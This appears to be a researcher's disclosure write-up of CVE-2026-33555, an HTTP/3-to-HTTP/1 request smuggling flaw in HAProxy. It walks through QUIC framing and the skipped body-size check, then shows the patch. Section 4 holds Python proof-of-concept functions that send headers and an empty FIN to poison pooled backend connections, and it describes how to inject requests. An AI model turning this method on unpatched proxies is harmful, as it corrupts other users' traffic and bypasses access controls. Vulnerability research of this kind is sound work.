TL;DR — A single QUIC STREAM frame with zero payload and the FIN bit set is enough to trick HAProxy into forwarding a Content-Length: N request with zero body bytes to the backend. The backend waits for N bytes that never come. The next user’s request on the same pooled TCP connection gets its first N bytes eaten as the missing body. Result: cross-user, cross-protocol HTTP request smuggling.

CVE-2026-33555. Affected: HAProxy 2.6 through 3.3.5 with USE_QUIC=1. Fixed in 3.3.6 / 3.2.15 / 3.0.19 / 2.8.20 / 2.6.25.

Table of contents

• 0. What this post is
• 1. Context
• 2. The networking foundation
  • 2.1 TCP vs UDP sockets: what the kernel gives you
  • 2.2 HTTP/1.1: one request at a time, per connection
  • 2.3 HTTP/2: application-level multiplexing
  • 2.4 The residual problem: transport-level HoL blocking
  • 2.5 HTTP/3 / QUIC: streams at the transport layer
  • 2.6 Why QUIC had to be on UDP
  • 2.7 A QUIC packet on the wire
  • 2.8 Offset: the tape metaphor
  • 2.9 The FIN bit: one bit, wrong layer
• 3. The bug
  • 3.1 From wire to h3_rcv_buf
  • 3.2 Two layers, two notions of “done”
  • 3.3 The HTX trust boundary
  • 3.4 Where HAProxy validates body size
  • 3.5 The fast-path that skips it
  • 3.6 When does the fast-path trigger? Back to the protocol
• 4. The exploit
  • 4.1 The connection pool problem
  • 4.2 The PoC
  • 4.3 Arbitrary request injection
  • 4.4 Configuration required
• 5. On the CVSS score
• 6. The fix
• 7. Disclosure timeline
• 8. Takeaways
• Appendix: artifacts

0. What this post is

This is the writeup of a vulnerability I found in HAProxy and reported through coordinated disclosure. The HAProxy team confirmed the issue and it was assigned CVE-2026-33555.

Most HTTP smuggling writeups jump straight to the exploit. This one starts from the ground up: what QUIC packets actually look like, how HAProxy processes them layer by layer, and why a single missing validation check in one fast-path creates a cross-user request smuggling primitive. If you’ve never looked at QUIC internals before, you should still be able to follow.

If you just want the PoC: jump to section 4.

1. Context

I’ve been spending time this year on HTTP/2 and HTTP/3 attack surface in reverse proxies — specifically how protocol translation boundaries (H3→H1, H2→H1) can introduce semantic mismatches that neither side catches. HAProxy 3.x with USE_QUIC=1 was a natural target: a relatively young, hand-rolled H3 implementation bridging QUIC stream semantics to HTTP/1.1 wire format. Two fundamentally different framing models, stitched together.

The research was done almost entirely with Claude Code (Opus 4.6), which turned out to be remarkably effective at navigating a C codebase of this size (~8000 lines across the relevant mux files). I don’t know C deeply, and I certainly couldn’t hold the full architecture of HAProxy in my head. But I could ask precise questions about code paths, and Claude Code would trace them through function calls, line by line, and explain what each piece did. The vulnerability was found this way: not by fuzzing, but by reading the source and asking “does this validation always run?”

The rest of this post is structured so that you can follow the whole thing with zero prior knowledge of QUIC. If you already know QUIC internals, section 2 will be review. If you don’t, it’s the foundation you need — the bug only makes sense once you understand why QUIC’s FIN bit lives at a completely different layer than HTTP/2’s END_STREAM flag, and why that layering choice gives an attacker packet-level control that HTTP/2 simply doesn’t expose.

2. The networking foundation

Please note that what you are about to read is my understanding of the QUIC protocol, based on my reading of RFCs and other documents. I may have misinterpreted some of the theory, so please let me know if you notice any errors. The world of network protocols is vast, and I certainly know less than 1% of it. Furthermore, QUIC is a new protocol that is conceptually different from others and also very complex. I hope that someone will find these concepts useful for either deepening their understanding or coming up with new ideas ❤❤

Before we can look at the bug, we need to understand three things:

1. How TCP and UDP sockets differ at the kernel level — this is the substrate QUIC runs on.
2. How HTTP evolved from 1.1 to 2 to 3, and what problem each version actually solved.
3. What a QUIC packet looks like on the wire, and where the FIN bit lives.

2.1 TCP vs UDP sockets: what the kernel gives you

A socket is a kernel object you access through a file descriptor. But what the kernel maintains behind that FD is fundamentally different for TCP and UDP.

With TCP, each client connection gets its own FD on the server — the kernel maintains per-connection state (sequence numbers, buffers, congestion control). With UDP, one FD is shared across all clients; the application has to demultiplex incoming datagrams itself.

TCP: the socket is a connection. A struct sock (and its TCP-specific extension struct tcp_sock) is allocated by the kernel at socket() time, but it only becomes a fully-formed connection — bound to a 4-tuple (src_ip, src_port, dst_ip, dst_port) — after connect() (client) or accept() (server) completes the 3-way handshake. From that point on the kernel tracks, per socket: a receive buffer holding the in-order, deduplicated bytes; a send buffer with pending writes; sequence numbers, window, RTT estimate, congestion control state, timers. When you call read(fd, buf, 1024), the kernel hands you bytes from the byte stream. If the sender sent 500 bytes and another 500, you might receive all 1000 in one read(), or 500+500, or 327+173+500. TCP has no notion of “message.” It’s a byte stream, and the sender’s send() boundaries are gone.

UDP: the socket is a local endpoint. bind(fd, 0.0.0.0:443, ...) ties the socket to a 2-tuple (local_ip, local_port). No 4-tuple, because there is no connection. That socket receives datagrams from anyone sending to port 443. The kernel tracks a queue of received datagrams — each carries its source address. No inter-datagram ordering, no dedup, no retransmission, no congestion control. Each recvmsg(fd, &msg, 0) returns exactly one datagram, intact, with its source address. UDP preserves message boundaries. If the sender does a single sendto(), you get it whole (or you lose it whole).

What this means for HAProxy. A TCP listener does the familiar dance: listen() + accept(). Each client gets its own FD. The poller notifies “this specific FD has data” → you know exactly which connection to process. A QUIC listener can’t do that. There is no accept() for UDP. HAProxy binds one UDP socket, and the poller just says “this FD has data” — but the data could belong to any of thousands of QUIC clients sharing that socket. Application code has to demultiplex.

That’s why quic_lstnr_sock_fd_iocb in src/quic_sock.c:469 loops:

max_dgrams = global.tune.maxpollevents;
start:
    ret = quic_recv(fd, dgram_buf, max_sz, ...);   // one recvmsg → one datagram
    // ... dispatch ...
    if (--max_dgrams > 0)
        goto start;

When the kernel wakes HAProxy saying “data available,” there might be 200 datagrams from 200 clients queued on that one socket. One recvmsg() pulls one of them. The goto start drains the queue up to maxpollevents to avoid thrashing the poller.

QUIC’s Connection ID (DCID — Destination Connection ID) is what lets HAProxy figure out which connection a datagram belongs to. It lives in the header of every QUIC packet, and it’s what quic_lstnr_dgram_dispatch (src/quic_sock.c:267) extracts to look up the matching struct quic_conn in a tree. This software-level demultiplexing is what TCP gets for free from the kernel’s 4-tuple hashing, and what UDP forces you to do yourself.

2.2 HTTP/1.1: one request at a time, per connection

HTTP/1.1 over a single TCP connection processes one request at a time. Want parallelism? Open more TCP connections:

Problems:

1. 6 TCP handshakes + 6 TLS handshakes = latency multiplied.
2. 6 separate congestion controls = each starts slow, none share information.
3. Request N+7 waits for a connection to free up.
4. Workarounds: pipelining (rarely used — proxies were buggy), domain sharding (cdn1., cdn2., cdn3. to sidestep the 6-connection limit).

This is application-level head-of-line blocking: request 7 waits because the HTTP/1 parser handles one at a time per connection.

2.3 HTTP/2: application-level multiplexing

HTTP/2 introduces streams — numbered channels (1, 3, 5, 7… for client-initiated) that coexist on a single TCP connection. Everything you send is a binary frame with a 9-byte header that carries, among other things, a Stream ID:

The server demuxes frames by Stream ID. You can have 100 requests in flight on one TCP connection. Wins vs. HTTP/1.1:

• One TCP + TLS handshake.
• One congestion control seeing everything.
• Requests don’t block each other at the HTTP layer.

2.4 The residual problem: transport-level HoL blocking

HTTP/2 streams are an application-level fiction. They exist only inside the HTTP/2 parser. Underneath, there’s still a single TCP byte stream. TCP guarantees order and completeness on the whole byte stream, because it doesn’t even know streams exist.

Consequence: if a TCP segment is lost, the receiver’s kernel has a gap in the buffer and blocks delivery of ALL bytes after the gap until the segment is retransmitted — even if those bytes belong to streams unrelated to the one that lost data.

Streams 2 and 3 on the TCP side are fine — their bytes arrived — but trapped behind stream 1’s gap because TCP serves everything in order. This is transport-level head-of-line blocking, and TCP cannot fix it: there’s no way to tell the kernel “skip the gap for stream 2.”

2.5 HTTP/3 / QUIC: streams at the transport layer

QUIC breaks the “transport = one byte stream” assumption. QUIC implements streams inside the transport itself. A QUIC packet carries one or more frames (STREAM, ACK, PADDING, …). A single packet can carry data for different streams — but unlike TCP, each STREAM frame explicitly declares its stream ID and offset.

When a packet is lost, QUIC detects it via ACKs and handles the gap per-stream. QUIC maintains a separate receive buffer per stream, and that architectural decision is what eliminates cross-stream HoL blocking (as the right panel above shows).

A caveat worth knowing: QUIC eliminates HoL blocking between different streams, but not within the same stream. If stream 0 is missing the bytes at offset 0 but has received bytes at offset 500, stream 0 cannot deliver anything to the application — the application wants bytes in order from 0. The per-stream buffer in HAProxy is in fact a non-contiguous buffer (ncb) that accepts out-of-order writes and delivers the contiguous prefix when the gap fills. We’ll see this in section 3.5.

2.6 Why QUIC had to be on UDP

“Can’t we just add streams to TCP?” Engineers have been trying, on and off, for two decades. The attempts all teach the same lesson: two forces calcify TCP, and QUIC was designed to sidestep both.

Middlebox ossification. Between any client and any server sits an uncountable pile of firewalls, NATs, load balancers, DPI appliances, and transparent proxies. Each one inspects TCP against rules frozen at deployment time — sometimes decades ago. The moment you add a new TCP option or touch the header, some fraction of paths silently drop or mangle your packets. This was measured definitively by Honda, Nishida, Raiciu, Greenhalgh, Handley, and Tokuda in “Is it still possible to extend TCP?” (IMC 2011): unknown TCP options don’t reliably survive end-to-end, and more invasive changes fare much worse. Google’s own TCP Fast Open (Radhakrishnan, Cheng, Chu, Jain, Raghavan, CoNEXT 2011) and the IETF’s Multipath TCP (RFC 8684; shipped by Apple for Siri in iOS 7) eventually reached production, but only after years of defensive engineering around middlebox breakage — and both still hit deployment walls in hostile networks. SCTP, an older streams-on-transport protocol from the telecom world, is beautiful on paper and essentially unroutable on the public internet for the same reason.

Kernel deployment velocity. TCP lives in the operating system kernel. Changing it means shipping updates to Linux, Windows, macOS, iOS, Android, BSD — and then waiting for operators to upgrade both endpoints of every connection. Windows XP was still meaningful traffic a decade after release; enterprise Linux fleets update on multi-year cycles. You cannot iterate a transport protocol at that speed.

QUIC’s escape hatch. Jim Roskind’s original 2012 Google design memo — later published as “The QUIC Transport Protocol: Design and Internet-Scale Deployment” (Langley, Riddoch, Wilk, Vicente, Krasic, Zhang, Yang, Kouranov, Swett, Iyengar et al., SIGCOMM 2017) — made three choices that directly target these walls:

1. Ride UDP. Middleboxes let UDP through largely unexamined — too much critical infrastructure (DNS, video, games, VPNs) depends on it. A QUIC datagram looks, to an inspecting firewall, like any other opaque UDP payload.
2. Put everything in user space. The QUIC state machine, stream multiplexing, loss recovery, congestion control — all of it is application code. A protocol update ships with a browser or server release, not a kernel release. Google could iterate QUIC inside Chrome and its frontends at a pace kernel-bound protocols can only dream of.
3. Encrypt the transport header. QUIC integrates TLS 1.3 not as a layer on top but as part of the transport itself: packet numbers and nearly all frame data are authenticated-encrypted. This is not only for confidentiality — it is a deliberate defense against future ossification. If middleboxes cannot see into QUIC, they cannot build rules that depend on its format, and QUIC stays evolvable. RFC 9170 (2021) later formalized this principle as IETF design guidance for future protocols.

QUIC is not “a better TCP.” It is a Trojan horse: a transport hidden inside UDP, deployed from user space, encrypted so the ecosystem cannot calcify it a second time. For an attacker, the relevant consequence is that QUIC shipped in production at scale within a handful of years — and HAProxy’s QUIC stack is only a few years old, hand-rolled C code bridging a protocol that browsers and servers are still actively iterating on. New attack surface by construction.

2.7 A QUIC packet on the wire

Let’s make this concrete. Here’s a single UDP datagram carrying a QUIC packet with two STREAM frames for two different HTTP requests:

2.8 Offset: the tape metaphor

Think of each QUIC stream as a tape — a long roll where you write bytes left to right.

Offset = “where on the tape these bytes start” Length = “how many bytes I’m writing”

The offset is QUIC’s equivalent of TCP’s sequence numbers — but it lives explicitly in each STREAM frame instead of hidden in the kernel. That’s what lets QUIC handle out-of-order delivery: if a frame with offset 500 arrives before the one with offset 0, QUIC knows there’s a gap and can wait for the missing piece without blocking other streams.

2.9 The FIN bit: one bit, wrong layer

Each STREAM frame has a FIN bit. When set, it means: “this stream is done. No more data will ever be sent on this stream.”

FIN is not a separate frame or field — it’s a single bit inside the first byte of the STREAM frame, the byte that identifies the frame type. To see how this works, let’s zoom in on the frame’s anatomy.

The STREAM frame structure (RFC 9000 §19.8) is a Type byte followed by Stream ID, optional Offset, optional Length, and the application data. The diagram below shows the field layout on top and what’s inside the Type byte underneath:

The combination that matters for the bug is the last line: a Type byte of 0x0d means an Offset is present, no Length is present, and the stream is finished. Because LEN is 0, the Stream Data runs to the end of the packet — which can be (and for this attack, is) zero bytes.

Here’s what such a frame looks like on the wire:

Those ~4 bytes are all QUIC framing overhead. The application payload — what the H3 parser actually sees — is zero bytes. This is the heart of the bug.

Contrast with HTTP/2. There, ending a stream requires the END_STREAM flag on a DATA or HEADERS frame. Even an “empty DATA frame with END_STREAM” carries 9 bytes of H/2 header on the wire, and those 9 bytes are application payload from the TCP layer’s perspective — TCP doesn’t know H/2 streams exist. There is no such thing as “close the stream at the transport without sending application bytes” in HTTP/2. The concept doesn’t exist because the transport doesn’t know streams exist.

In HTTP/3, the FIN lives at the transport layer (QUIC), not at the application layer (H3). An attacker with a QUIC library can craft a raw STREAM frame with len=0, FIN=1 that carries zero bytes to the H3 parser. This is something HTTP/2’s design makes impossible.

3. The bug

Please note that the source code analysis was performed using Claude Code Opus 4.6, manually verified through local lab tests, and later confirmed by the vendor.

3.1 From wire to h3_rcv_buf

Before we look at the bug, we need a mental model of the HAProxy data path. When a UDP datagram arrives, it travels through this pipeline:

The full source-level walkthrough — DCID lookup against a per-thread tree, header-protection removal, EB-tree queueing by packet number, AEAD decryption, frame parsing, per-stream non-contiguous buffer (ncb) inserts — is interesting but not strictly necessary for understanding the bug. Three properties of this pipeline are:

1. The FIN bit travels as stream state, not as a per-call argument. When a STREAM frame with FIN arrives, qcc_recv (src/mux_quic.c:1805) sets qcs->flags |= QC_SF_SIZE_KNOWN and transitions the stream state via qcs_close_remote(). From that point on, anything reading the stream sees qcs_is_close_remote() == true. The fin argument the H3 parser later receives is derived from this stream state — not from “this specific call corresponds to a frame that had FIN set.”

2. h3_rcv_buf() is called once per STREAM frame, synchronously, inside qcc_recv’s dispatch loop (qcc_decode_qcs, src/mux_quic.c:1326). Whether two STREAM frames arrive coalesced in the same UDP datagram, in back-to-back datagrams, or 300 ms apart, each one produces its own call with its own (b, fin) snapshot. The batching at every earlier stage is transparent to H3. Timing is irrelevant; only the shape of the STREAM frames matters.

3. The b buffer passed to h3_rcv_buf is an alias over the per-stream ncb, not a copy. b.data reflects the count of contiguous bytes currently readable — zero if nothing arrived, zero if a previous call already consumed everything, zero if no rxbuf was ever allocated (e.g. a standalone-FIN at offset 0 produces BUF_NULL).

Together these three properties mean: by the time h3_rcv_buf runs, it cannot distinguish whether (b = empty, fin = 1) was caused by “FIN just arrived in this call,” “FIN arrived earlier and the data was consumed,” or “FIN arrived first with no data ever sent.” It only sees the conjunction. The bug lives in this ambiguity.

3.2 Two layers, two notions of “done”

At the QUIC layer, a stream FIN means “no more bytes on this stream, ever.”

At the H3 layer, end of message means “all H3 frames have been parsed, and the body length matches Content-Length.”

These events usually coincide. But they don’t have to. A QUIC peer can close a stream with FIN after sending headers but before sending the body. At the QUIC layer, that’s perfectly valid — “I’m done sending.” At the H3 layer, that’s invalid — “you declared Content-Length: 5 but sent 0 body bytes.”

The job of h3.c is to enforce H3 semantics on top of QUIC transport. It has code to do exactly this. One path skips it.

3.3 The HTX trust boundary

Before the bug itself, one more piece. Once the H3 layer has parsed a complete request, it emits an HTX message — HAProxy’s protocol-agnostic internal representation. The key flag is HTX_FL_EOM (End Of Message): when set, it tells every downstream consumer “this message is complete.”

The backend H1 mux (src/mux_h1.c) receives HTX and serializes it to HTTP/1.1 on a TCP socket toward the origin. The H1 mux transitions through several states (H1_MSG_HDR_FIRST, H1_MSG_DATA, H1_MSG_DONE, …); the transition to H1_MSG_DONE happens at multiple points in the encoder, but the relevant one for our scenario is in the body-emission path (mux_h1.c:2987-2999):

else if (htx_is_unique_blk(htx, blk) &&
         ((htx->flags & HTX_FL_EOM) || ((h1m->flags & H1_MF_CLEN) && !h1m->curr_len))) {
    /* EOM flag is set and it is the last block or there is no payload. */
    ...
    h1m->state = ((htx->flags & HTX_FL_EOM) ? H1_MSG_DONE : H1_MSG_TRAILERS);
}

Two separate conditions can put H1 into MSG_DONE: either upstream set HTX_FL_EOM, or the declared Content-Length (H1_MF_CLEN) has been fully consumed (curr_len reached zero). In the bug scenario, the H3 fast-path sets HTX_FL_EOM while curr_len is still non-zero — so the EOM branch fires, the request is considered complete, and the H1 mux moves on without ever waiting for the missing body bytes that Content-Length had announced.

This isn’t a bug in mux_h1. It’s a trust boundary: when H3 emits HTX_FL_EOM, mux_h1 takes that as a binding statement that the message is complete and acts on it without re-deriving completion from the body length it forwarded. The H1 mux can’t second-guess every upstream mux — if the HTX contract is violated, the bug is in whoever set HTX_FL_EOM without earning the right to.

3.4 Where HAProxy validates body size

src/h3.c has a body-size validator:

/* src/h3.c — h3_check_body_size(), lines 447-479 */
static int h3_check_body_size(struct qcs *qcs, int fin)
{
    struct h3s *h3s = qcs->ctx;

    if (h3s->data_len > h3s->body_len ||
        (fin && h3s->data_len < h3s->body_len)) {
        /* Content-Length mismatch — reject as malformed */
        h3s->err = H3_ERR_MESSAGE_ERROR;
        return -1;
    }
    return 0;
}

If fin is set and we received fewer body bytes than declared in Content-Length, reject as malformed. This is the RFC 9114 §4.1.2 check.

This function is called inside the DATA-frame parsing loop in h3_rcv_buf():

/* src/h3.c — h3_rcv_buf(), the normal path */
while (b_data(b) && ...) {
    /* parse H3 frames one at a time */
    if (ftype == H3_FT_DATA) {
        h3s->data_len += flen;
        if (h3s->flags & H3_SF_HAVE_CLEN) {
            if (h3_check_body_size(qcs, ...))    // ← THE CHECK
                break;
        }
    }
}

The while loop condition includes b_data(b) — “while there are bytes in the buffer.” As long as there’s data to parse, the validator runs.

3.5 The fast-path that skips it

But right before that while loop, there’s a fast-path:

/* src/h3.c — h3_rcv_buf(), line ~1746 */
if (!b_data(b) && fin && quic_stream_is_bidi(qcs->id)) {
    if (qcs_http_handle_standalone_fin(qcs)) {
        goto err;
    }
    goto done;    // ← SKIPS THE ENTIRE while LOOP
}

Reading the condition:

• !b_data(b) — the buffer is empty (zero application bytes — see property 3 in §3.1).
• fin — the stream is remotely closed (see property 1 in §3.1).
• quic_stream_is_bidi() — this is a bidirectional stream (HTTP requests always are).

If all three hold, qcs_http_handle_standalone_fin() runs and control jumps to done. The while loop with h3_check_body_size() never executes.

What does qcs_http_handle_standalone_fin() do? Here is the actual implementation from src/qmux_http.c:67-86:

int qcs_http_handle_standalone_fin(struct qcs *qcs)
{
    struct buffer *appbuf;
    struct htx *htx;
    int eom;

    if (!(appbuf = qcc_get_stream_rxbuf(qcs)))
        goto err;

    htx = htx_from_buf(appbuf);
    eom = htx_set_eom(htx);
    htx_to_buf(htx, appbuf);
    if (!eom)
        goto err;

    return 0;

 err:
    return -1;
}

The relevant call is htx_set_eom(htx), which sets the HTX_FL_EOM flag on the HTX message (and inserts an empty HTX_BLK_EOT block if the HTX is empty, so the EOM flag has something to attach to). No validation. No check that Content-Length matches data_len. It takes the client’s word for it.

This is the bug. The shortcut sets the “message complete” flag without verifying that the message is actually complete. As the HAProxy maintainer wrote in the fix commit message: “this shortcut bypasses an important HTTP/3 validation check on the received body size vs the announced content-length header.”

3.6 When does the fast-path trigger? Back to the protocol

From §2.9 and §3.1, the entry condition !b_data(b) && fin && quic_stream_is_bidi(qcs->id) is reached in exactly one physical circumstance: a STREAM frame has just been handed to the dispatcher with fin = 1 and the per-stream buffer contains zero bytes — either because no application data was ever received, or because earlier calls of h3_rcv_buf already consumed everything that had arrived. What determines whether that activation is legitimate or malicious is the one thing the fast-path never asks: does data_len match the declared Content-Length?

The table below enumerates the five client patterns that can reach the dispatcher for a request-carrying bidi stream. The notation {…} denotes a single QUIC STREAM frame; the symbols inside are the H3 frames it carries (HEADERS, DATA(n) where n is the DATA frame payload length), plus the QUIC FIN bit on the STREAM frame itself. body_len is the value declared in Content-Length; data_len is the running count of DATA-frame payload bytes the H3 layer has seen so far (maintained at src/h3.c:1782).

The correlation the table makes visible is the bug in one line: fast-path triggers ⇔ validator is skipped. The trigger condition depends only on the transport-level shape of the frames (!b_data(b) && fin), while the distinction between legitimate and malicious traffic lives one layer up, in the H3 counters data_len and body_len that the fast-path never consults.

The fast-path is not an accident of design. Row 3 is a legitimate pattern permitted by RFC 9000 §19.8 — a STREAM frame may carry zero bytes so long as it sets the FIN bit. And the dispatch loop in qcc_recv (src/mux_quic.c:1965-1976) re-enters qcc_decode_qcs only on two events: new application bytes become available, or fin_standalone && qcs_is_close_remote(qcs) holds. For a row-3 request, by the time the empty-FIN STREAM frame is processed the earlier DATA has already been consumed and the buffer is empty; the only way h3_rcv_buf sees the close signal at all is through the fin_standalone branch — which is exactly the branch that triggers the fast-path. Without this shortcut the request would hang at EOM forever. The fix commit from Amaury Denoyelle describes the history as “this situation is tedious to handle and haproxy parsing code has changed several times to deal with it” — the shortcut is the current form.

The bug is that the shortcut conflates two facts that look identical on the wire but aren’t semantically equivalent: “the QUIC stream is closed and the buffer is empty” ≠ “the HTTP message is complete.” Those facts coincide only when data_len == body_len at the moment the FIN arrives. The pre-fix code never compared the two on this path. Quoting the same commit verbatim: “this shortcut bypasses an important HTTP/3 validation check on the received body size vs the announced content-length header. Under some conditions, this could cause a desynchronization with the backend server which could be exploited for request smuggling.”

This generalizes rows 4 and 5: they are the same bug expressed with different body amounts. Any pattern where a standalone-FIN arrives while data_len < body_len and Content-Length was declared smuggles. The exploit in §4.2 uses row 5 because it produces maximal mismatch with minimal traffic — zero body bytes against a declared Content-Length: N of the attacker’s choice. Row 4 (Content-Length: 5, a DATA frame with 3 bytes, then a separate empty-FIN) is equally exploitable and looks more like organic traffic on the wire — a request that appears to be merely truncated by network instability. The table’s fourth row is the unlucky cousin of row 3.

One precondition constrains the attack: the request must declare Content-Length. h3_check_body_size is gated by H3_SF_HAVE_CLEN — the function begins with BUG_ON(!(h3s->flags & H3_SF_HAVE_CLEN)) at src/h3.c:454 — and the fast-path emits EOM without ever consulting either counter. A request with no Content-Length has body_len = 0 and effectively no body contract to violate. POST requests with declared bodies are the natural target anyway: the smuggling primitive depends on the backend reserving room for body bytes that never arrive, and no body means no reservation.

The contrast with HTTP/2 (already built up in §2.9) lands here as a one-line summary: in H/2 an END_STREAM always rides on a DATA or HEADERS frame and therefore always carries at least 9 bytes of application payload through the H/2 parser — there is no transport-level “close without payload” primitive. In HTTP/3 there is, and the fast-path condition !b_data(b) && fin is exactly what recognizes it.

Two properties of the resulting bug are worth pinning down before we move to the exploit:

• The attack is deterministic, not racy. From §3.1, h3_rcv_buf() runs once per STREAM frame regardless of upstream batching. Whether the attacker sends the HEADERS and the standalone-FIN in the same UDP datagram, in back-to-back datagrams, or 300 ms apart, each STREAM frame produces an isolated call with its own (b, fin) snapshot and the dispatcher arrives at (b = empty, fin = 1) on the FIN call either way. No race, no timing window.

• The bug lives in the gap between two layers. The H3 layer writes HTX_FL_EOM into the HTX on a code path that never compared data_len against body_len. The downstream H1 mux takes that flag as a binding assertion (§3.3) and never re-derives completion from curr_len. Neither layer is individually wrong — each acts on information the other was supposed to validate. The fast-path is the place the contract breaks.

4. The exploit

4.1 The connection pool problem

HAProxy is a reverse proxy. It sits between clients and backends. To save resources, HAProxy reuses TCP connections to the backend: after serving user A’s request, the same TCP socket can be used for user B’s request. This is the “backend connection pool.”

The smuggling works like this:

1. Attacker sends a POST with Content-Length: 5 but zero body bytes (via the FIN bug).
2. HAProxy forwards POST /photos HTTP/1.1\r\nContent-Length: 5\r\n\r\n (with zero body) to the backend over TCP.
3. The backend (nginx) sends a 301 Moved Permanently — a redirect because /photos is a directory without a trailing slash. This is an “early response”: nginx replies before consuming the body.
4. HAProxy receives the 301, marks the request as done (H1_MSG_DONE), and returns the TCP connection to the pool. But nginx is still expecting 5 body bytes.
5. A victim’s request gets assigned to that same pooled TCP connection.
6. Nginx reads the first 5 bytes of the victim’s request as the missing body. The rest gets parsed as a new HTTP request → 400 Bad Request.

The victim doesn’t have to be on H3. They don’t even have to know QUIC exists. The pool is HAProxy’s backend TCP pool — every frontend protocol (H1, H2, H3) funnels requests through the same set of upstream TCP sockets. In the demo, the attacker is a Python script over QUIC and the victim is Chrome browsing over H2.

4.2 The PoC

The exploit core fits in two functions. The key trick is using aioquic’s QUIC-layer API (self._quic.send_stream_data) instead of the H3-layer API (self._h3.send_data).

Why? Because the H3-layer API wraps everything in H3 DATA frames, which have their own header bytes. Even an empty send_data produces a frame header — a few bytes of H3 framing overhead. Those bytes show up in the buffer, b_data(b) is not zero, and the fast-path doesn’t trigger.

The QUIC-layer API lets us send a raw STREAM frame with zero payload bytes and the FIN bit. No H3 framing. The buffer is truly empty.

def poison(self, host, path="/photos", content_length=5):
    """Send H3 HEADERS with Content-Length, don't close the stream."""
    stream_id = self._quic.get_next_available_stream_id()
    self._h3.send_headers(
        stream_id=stream_id,
        headers=[
            (b":method",         b"POST"),
            (b":path",           path.encode()),
            (b":authority",      host.encode()),
            (b":scheme",         b"https"),
            (b"content-length",  str(content_length).encode()),
            (b"content-type",    b"application/octet-stream"),
        ],
        end_stream=False,       # ← don't close the stream yet
    )
    self.transmit()
    return stream_id

def send_fin(self, stream_id):
    """Send a raw QUIC STREAM FIN with zero payload."""
    self._quic.send_stream_data(stream_id, b"", end_stream=True)
    #          ↑ QUIC layer         ↑ no data    ↑ set FIN
    # NOT self._h3.send_data — that would add H3 framing bytes
    self.transmit()

Run it in a loop (poc.py --interval 0.5), open Chrome on https://haproxy:10002/status, and refresh. Roughly 50% of responses come back as 400 Bad Request — the other 50% land on clean connections that haven’t been poisoned.

4.3 Arbitrary request injection

The desync is more than a DoS. By calibrating Content-Length to match the exact byte length of the victim’s request headers, the attacker can make the backend parse the POST body as a completely new HTTP request — effectively injecting arbitrary requests that bypass any ACL, auth, or rate-limiting that the reverse proxy enforces.

4.4 Configuration required

The attack requires http-reuse always in the backend configuration:

backend mybackend
    http-reuse always      # required — enables connection pool sharing
    server srv1 backend:80

HAProxy 2.4+ defaults to http-reuse safe, which restricts reuse after requests with a body. This prevents exploitation under default config. But always is widely used in production for performance.

5. On the CVSS score

NVD scored this at CVSS 3.1 4.0 (Medium), based on high attack complexity and low integrity impact. I believe this significantly underestimates the real-world impact:

• The attack is fully deterministic — no timing, no race conditions, no luck needed.
• Under sustained attack, ~50% of concurrent traffic receives corrupted responses.
• It enables arbitrary request injection, not just connection corruption.
• The attacker needs only a ~150-line Python script and a network path to the H3 listener.

My own assessment was closer to 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N). The non-default configuration requirement (http-reuse always + H3 enabled) is the main mitigating factor.

6. The fix

The HAProxy team patched this in commit 05a29544 by Amaury Denoyelle on 2026-03-18. The patch adds 8 lines to src/h3.c, inserting a Content-Length check inside the standalone-FIN shortcut and rejecting the stream with a reset if validation fails:

if (!b_data(b) && fin && quic_stream_is_bidi(qcs->id)) {
    TRACE_PROTO("received FIN without data", H3_EV_RX_FRAME, qcs->qcc->conn, qcs);

    /* FIN received, ensure body length is conform to any content-length header. */
    if ((h3s->flags & H3_SF_HAVE_CLEN) && h3_check_body_size(qcs, 1)) {
        qcc_abort_stream_read(qcs);
        qcc_reset_stream(qcs, h3s->err);
        goto done;
    }

    if (qcs_http_handle_standalone_fin(qcs)) {
        TRACE_ERROR("cannot set EOM", H3_EV_RX_FRAME, qcs->qcc->conn, qcs);
        qcc_set_error(qcs->qcc, H3_ERR_INTERNAL_ERROR, 1);
        goto err;
    }

    goto done;
}

The fix calls h3_check_body_size(qcs, 1) — the 1 is the fin argument explicitly, since at this point we know the stream has been closed. If h3_check_body_size rejects (i.e. data_len < body_len), the patch does not kill the entire QUIC connection. It calls qcc_abort_stream_read + qcc_reset_stream to send a RESET_STREAM frame back to the client with the H3_MESSAGE_ERROR code, and goto done cleanly. Only the offending stream is reset; the rest of the connection survives. This is per RFC 9114 §4.1.2 — malformed messages should be treated as stream errors of type H3_MESSAGE_ERROR, not connection-fatal errors.

The author Amaury Denoyelle credits the report to me in the commit body: “Thanks to Martino Spagnuolo for his detailed report on this issue and for having contacting us about it via the security mailing list.”

References: fix commit · mailing list advisory · NVD entry

Affected versions: per the commit message, the fix “must be backported up to 2.6” — every HAProxy release with QUIC support is vulnerable. Fixed in: 3.3.6, 3.2.15, 3.0.19, 2.8.20, 2.6.25.

Immediate mitigation if you can’t upgrade: switch to http-reuse safe (or never), or disable H3 listeners.

7. Disclosure timeline

The HAProxy team were excellent to work with. Fast triage, clear communication, no friction about the public writeup timing.

8. Takeaways

1. Trust boundaries are where bugs live. mux_h1 trusted HTX_FL_EOM. The H3 layer set that flag on a path that had never run the validator. The bug isn’t in any single layer — it’s in the gap between two layers that each assume the other did the checking.

2. Fast-paths are where invariants go to die. Every “if cheap-case then shortcut” in a parser is a candidate for a validation bypass. h3_check_body_size only runs inside the DATA-frame parsing loop. The standalone FIN fast-path skips that loop entirely.

3. QUIC gives attackers packet-level control. In HTTP/1 and HTTP/2, you’re fighting TCP and TLS to produce exact framing events. With aioquic, you hand the library a byte sequence and a FIN flag. Dropping from the H3 layer (self._h3) to the QUIC layer (self._quic) to send a raw FIN with zero payload is the core of the exploit.

4. The attack surface is “backend pool”, not “frontend protocol”. The victim doesn’t care which frontend the attacker used. If your proxy pools upstream TCP connections, every frontend protocol contributes to the same risk.

5. Understand the full stack before you grep for bugs. The time spent mapping how QUIC packets become STREAM frames, how STREAM frames become H3 frames, how H3 frames become HTX, and how HTX becomes H1 wire format is the only reason the missing h3_check_body_size call was recognizable for what it was.

Appendix: artifacts

All primary artifacts are in the companion repo.

CVE-2026-33555/
├── README.md               # 
├── docker-compose.yml      # single-command reproduction
├── haproxy/
│   ├── Dockerfile          # HAProxy 3.0.18 + quictls 3.1.7-quic1
│   └── haproxy.cfg         # frontend H3+H2, backend http-reuse always
├── nginx/
│   ├── default.conf        # autoindex on, /status -> 200
│   └── html/photos/        # triggers the 301
└── client/
    ├── Dockerfile
    ├── requirements.txt    # aioquic >= 1.2.0
    └── poc.py              # the ~500-line PoC (--once, --test, --loop)

cd lab2
